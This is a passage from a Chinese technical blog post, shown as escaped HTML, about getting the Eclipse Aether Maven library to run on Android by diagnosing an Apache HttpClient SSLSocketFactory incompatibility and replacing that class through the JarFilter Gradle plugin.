class=\"hljs-name\"\u003eversion\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003edependency\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003edependencies\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上述依赖用途说明 *(摘自Aether Wiki)*:\u003c/p\u003e\u003cul\u003e\u003cli\u003eaether-api\u003cbr\u003e此Jar依赖包含了Aether interfaces,Aether系统的入口类是\u003cem\u003eorg.eclipse.aether.RepositorySystem\u003c/em\u003e。\u003c/li\u003e\u003cli\u003eaether-util\u003cbr\u003e如名,此依赖包含了许多工具类,并提供了常用系统组件。\u003c/li\u003e\u003cli\u003eaether-impl\u003cbr\u003e此依赖包含了仓库系统接口的实例化类。\u003cstrong\u003e除非在特殊情况下,需要自定义Aether系统的内部处理逻辑,或者需要手动协同一些功能,在程序的开发过程中不建议直接访问\u0026#x2F;操作此依赖中的任何类。\u003c/strong\u003e\u003c/li\u003e\u003cli\u003eaether-connector-basic\u003cbr\u003eArtifact到远程Repository的上传和下载是通过Repository connector实现的。 这一connector一部分通用,并将部分工作委托给可插拔的传输协议和repository layouts。 因此,需要明确的是,该connector本身无法访问任何repository,必需包含一个或多个传输模块才能组合为正常运行的系统。\u003c/li\u003e\u003cli\u003eether-transport-file\u003cbr\u003e此依赖提供了通过file或者URL访问repository的支持库。\u003c/li\u003e\u003cli\u003eaether-transport-http\u003cbr\u003e此依赖提供了访问基于http或者https协议的repository的支持库。\u003c/li\u003e\u003cli\u003eaether-transport-wagon\u003cbr\u003e此依赖基于Maven Wagon,通过已有Wagon providers来访问repository。\u003c/li\u003e\u003cli\u003ewagon-ssh\u003cbr\u003e此依赖项补充了前面提到的 aether-transport-wagon库,并添加了对使用 scp: 和 sftp: 方案进行传输的支持。 它包含在上面的 POM 片段中只是一个示例,可以使用任何符合需求的 Wagon provider;也可以根本不使用,此时,可以从依赖中删除 aether-transport-wagon。\u003c/li\u003e\u003cli\u003emaven-aether-provider\u003cbr\u003e此依赖提供了使用 Maven POM 作为Artifact descriptors并从中提取依赖关系信息。 此外,它还提供了对Maven Repository中使用的其他元数据(metadata)文件的处理。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cstrong\u003e注意: Aether需要1.5及以上的JDK来编译及允许。\u003c/strong\u003e\u003c/p\u003e\u003ch2 id=\"针对Android的适配\"\u003e\u003ca href=\"#针对Android的适配\" class=\"headerlink\" title=\"针对Android的适配\"\u003e\u003c/a\u003e针对Android的适配\u003c/h2\u003e\u003cp\u003e适配问题其实很简单明了,只需要抓住主要矛盾:需要什么?有什么不同导致了需要的东西缺失?以什么方式来补全缺失?\u003c/p\u003e\u003cp\u003e从Jre上来看(暂且不论版本问题,毕竟Aether是个老项目,Java 1.5+即可),Android上的Jre与PC端的不同点主要在于Android上的Jre是针对Android的阉割优化版,大体内容不变,但是不包含许多javax包下的类,以及所有针对PC平台的类。\u003c/p\u003e\u003ch3 id=\"剖析:需要什么?有什么不同导致了需要的东西缺失?\"\u003e\u003ca href=\"#剖析:需要什么?有什么不同导致了需要的东西缺失?\" class=\"headerlink\" title=\"剖析:需要什么?有什么不同导致了需要的东西缺失?\"\u003e\u003c/a\u003e剖析:需要什么?有什么不同导致了需要的东西缺失?\u003c/h3\u003e\u003cp\u003e(当然,此文编造的是不断的尝试后的事后诸葛亮行为,解决问题的最好方式还是实践求真理,做个简单的demo并且不断地尝试了。)\u003c/p\u003e\u003cp\u003e我们仍从上述依赖配置中探索,首先针对Aether API、util、impl以及provider部分,因为只使用了基础的类,显然兼容度很高;然后,分析剩下的transport协议库,对于file部分没啥争议,毕竟Java 1.8之后才会考虑Path这个影响兼容性的东东,那么就是网络协议部分可能有问题了。\u003c/p\u003e\u003cp\u003e为了不纸上谈兵,我们先做一个简单的项目,并写一行,debug打包允许:\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs java\"\u003e\u003cspan class=\"hljs-type\"\u003eDefaultServiceLocator\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003elocator\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e MavenRepositorySystemUtils.newServiceLocator();\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e果不其然,我们可以得到一个报错:\u003c/p\u003e\u003cfigure class=\"highlight txt\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs txt\"\u003ejava.lang.NoSuchMethodError:No direct method \u0026lt;init\u0026gt;(Ljavax/net/ssl/SSLSocketFactory;Lorg/apache/http/conn/ssl/X509HostnameVerifier;)V in class Lorg/apache/http/conn/ssl/SSLSocketFactory; or its super classes(declaration of \u0026#x27;org.apache.http.conn.ssl.SSLSocketFactory\u0026#x27; appears in /system/framework/framework.jar!classes3.dex)\u003cbr\u003e\u003cbr\u003eframework/framework.jar!classes3.dex)\u003cbr\u003e\u003cbr\u003eat org.eclipse.aether.transport.http.SslSocketFactory.\u0026lt;init(SslSocketFactory.java:57)\u003cbr\u003e\u003cbr\u003e...\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e原来是\u003cem\u003eorg.eclipse.aether.transport.http.SslSocketFactory\u003c/em\u003e的构造方法里面出现问题了,我们顺藤摸瓜看看为啥:\u003c/p\u003e\u003cp\u003e(在Android Studio内,切换到Project工程结构展示,展开External Libraries,进入org.eclipse.aether.transport-http包内查找)\u003c/p\u003e\u003cp\u003e\u003cem\u003eorg.eclipse.aether.transport.http.SslSocketFactory\u003c/em\u003e文件内容:\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs java\"\u003e\u003cspan class=\"hljs-keyword\"\u003efinal\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eSslSocketFactory\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eextends\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eorg\u003c/span\u003e.apache.http.conn.ssl.SSLSocketFactory\u003cbr\u003e\u0026#123;\u003cbr\u003e...\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eprivate\u003c/span\u003e \u003cspan class=\"hljs-title function_\"\u003eSslSocketFactory\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e( SSLSocketFactory socketfactory, X509HostnameVerifier hostnameVerifier,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e String[] cipherSuites, String[] protocols )\u003c/span\u003e\u003cbr\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-built_in\"\u003esuper\u003c/span\u003e( socketfactory, hostnameVerifier );\u003cbr\u003e \u003cbr\u003e \u003cspan class=\"hljs-built_in\"\u003ethis\u003c/span\u003e.cipherSuites = cipherSuites;\u003cbr\u003e \u003cspan class=\"hljs-built_in\"\u003ethis\u003c/span\u003e.protocols = protocols;\u003cbr\u003e \u0026#125;\u003cbr\u003e...\u003cbr\u003e\u0026#125;\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e其实在AS内可以看到这里已经显示报错了:\u003cbr\u003e\u003cimg src=\"/../images/aether_error_in_as.png\" alt=\"AS code error\"\u003e\u003c/p\u003e\u003cp\u003e显然是父类根本没这个构造方法。那么问题来了,为什么在PC上的JRE可以用,Android上的却不行了?查资料可知:\u003cbr\u003e\u003cimg src=\"/../images/apache_http_client_removal.png\" alt=\"apache_http_client_removal\"\u003e\u003c/p\u003e\u003cp\u003e原来是,Android这小子不识抬举,大大阉割了Apache Http提供的Android特别版,转向使用OKhttp了,导致使用不了大部分Apache Http API。\u003c/p\u003e\u003cp\u003e知道问题了那么解决方案是什么?\u003c/p\u003e\u003ch3 id=\"以什么方式来补全缺失?\"\u003e\u003ca href=\"#以什么方式来补全缺失?\" class=\"headerlink\" title=\"以什么方式来补全缺失?\"\u003e\u003c/a\u003e以什么方式来补全缺失?\u003c/h3\u003e\u003ch4 id=\"Try-1-导入-Apache-Http-Legacy-包-失败\"\u003e\u003ca href=\"#Try-1-导入-Apache-Http-Legacy-包-失败\" class=\"headerlink\" title=\"Try 1: 导入 Apache Http Legacy 包 (失败)\"\u003e\u003c/a\u003eTry 1: 导入 Apache Http Legacy 包 (失败)\u003c/h4\u003e\u003cp\u003e导入\u003cem\u003eorg.apache.http.legacy\u003c/em\u003e包,但是这么简单的办法当然是不行的,在许多设备上无法成功,很小一部分设备可以。(点名批评Homo OS based AOSP,就是它兼容性最差。)\u003c/p\u003e\u003ch4 id=\"Try-2-使用JarFilter替换不兼容类,改用兼容代码-失败\"\u003e\u003ca href=\"#Try-2-使用JarFilter替换不兼容类,改用兼容代码-失败\" class=\"headerlink\" title=\"Try 2: 使用JarFilter替换不兼容类,改用兼容代码 (失败)\"\u003e\u003c/a\u003eTry 2: 使用JarFilter替换不兼容类,改用兼容代码 (失败)\u003c/h4\u003e\u003cp\u003e\u003ca href=\"https://github.com/nekocode/JarFilterPlugin\"\u003eJarFilter\u003c/a\u003e是一个用于编译时替换所依赖Jar中指定类的Gradle Plugin。\u003c/p\u003e\u003cp\u003e于是有了以下操作:\u003c/p\u003e\u003cp\u003e1.使用JarFilter移除org.eclipse.aether.transport.http.SslSocketFactory\u003c/p\u003e\u003cp\u003e2.改用新自定义类,来适配安卓版的Apache Http,完成相关功能\u003c/p\u003e\u003ch5 id=\"实践\"\u003e\u003ca href=\"#实践\" class=\"headerlink\" title=\"实践\"\u003e\u003c/a\u003e实践\u003c/h5\u003e\u003cp\u003e首先,在app模块下的build.gradle文件内添加如下内容:\u003c/p\u003e\u003cfigure class=\"highlight groovy\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs groovy\"\u003eapply \u003cspan class=\"hljs-attr\"\u003eplugin:\u003c/span\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;jar-filter\u0026quot;\u003c/span\u003e\u003cbr\u003e \u003cbr\u003ejarFilters \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-comment\"\u003e//兼容安卓版本的apache SSLSocketFactory\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;org.eclipse.aether:aether-transport-http:(.*)\u0026quot;\u003c/span\u003e \u0026#123;\u003cbr\u003e excludes = [\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026#x27;org/eclipse/aether/transport/http/SslSocketFactory.class\u0026#x27;\u003c/span\u003e,\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026#x27;org/eclipse/aether/transport/http/SslSocketFactory\\\\$(.*).class\u0026#x27;\u003c/span\u003e\u003cbr\u003e ]\u003cbr\u003e \u0026#125;\u003cbr\u003e\u0026#125;\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e再创建一个同名的替换类\u003cem\u003eorg.eclipse.aether.transport.http.SslSocketFactory\u003c/em\u003e,\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e60\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e61\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e62\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e63\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e64\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e65\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e66\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e67\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e68\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e69\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e70\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e71\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e72\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e73\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e74\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e75\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e76\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e77\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e78\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e79\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e80\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e81\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e82\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e83\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e84\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e85\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e86\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e87\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e88\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e89\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e90\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e91\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e92\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e93\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e94\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e95\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e96\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e97\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e98\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e99\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e100\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e101\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e102\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e103\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e104\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e105\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e106\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e107\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e108\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e109\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e110\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e111\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e112\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e113\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e114\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e115\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e116\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e117\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e118\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e119\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e120\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e121\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e122\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e123\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e124\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e125\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e126\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e127\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e128\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e129\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e130\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e131\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e132\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e133\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e134\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e135\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e136\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e137\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e138\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e139\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e140\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e141\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e142\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e143\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e144\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e145\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e146\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e147\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e148\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e149\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e150\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e151\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e152\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e153\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e154\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e155\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e156\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e157\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e158\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e159\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e160\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e161\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e162\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e163\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e164\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e165\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e166\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e167\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e168\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e169\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e170\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e171\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e172\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e173\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e174\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e175\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e176\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e177\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e178\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e179\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e180\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e181\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e182\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs java\"\u003e\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003epackage\u003c/span\u003e org.eclipse.aether.transport.http;\u003cbr\u003e \u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.apache.http.conn.ConnectTimeoutException;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.apache.http.conn.HttpInetSocketAddress;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.apache.http.conn.scheme.HostNameResolver;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.apache.http.conn.scheme.LayeredSchemeSocketFactory;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.apache.http.conn.scheme.LayeredSocketFactory;\u003cbr\u003e\u003cspan 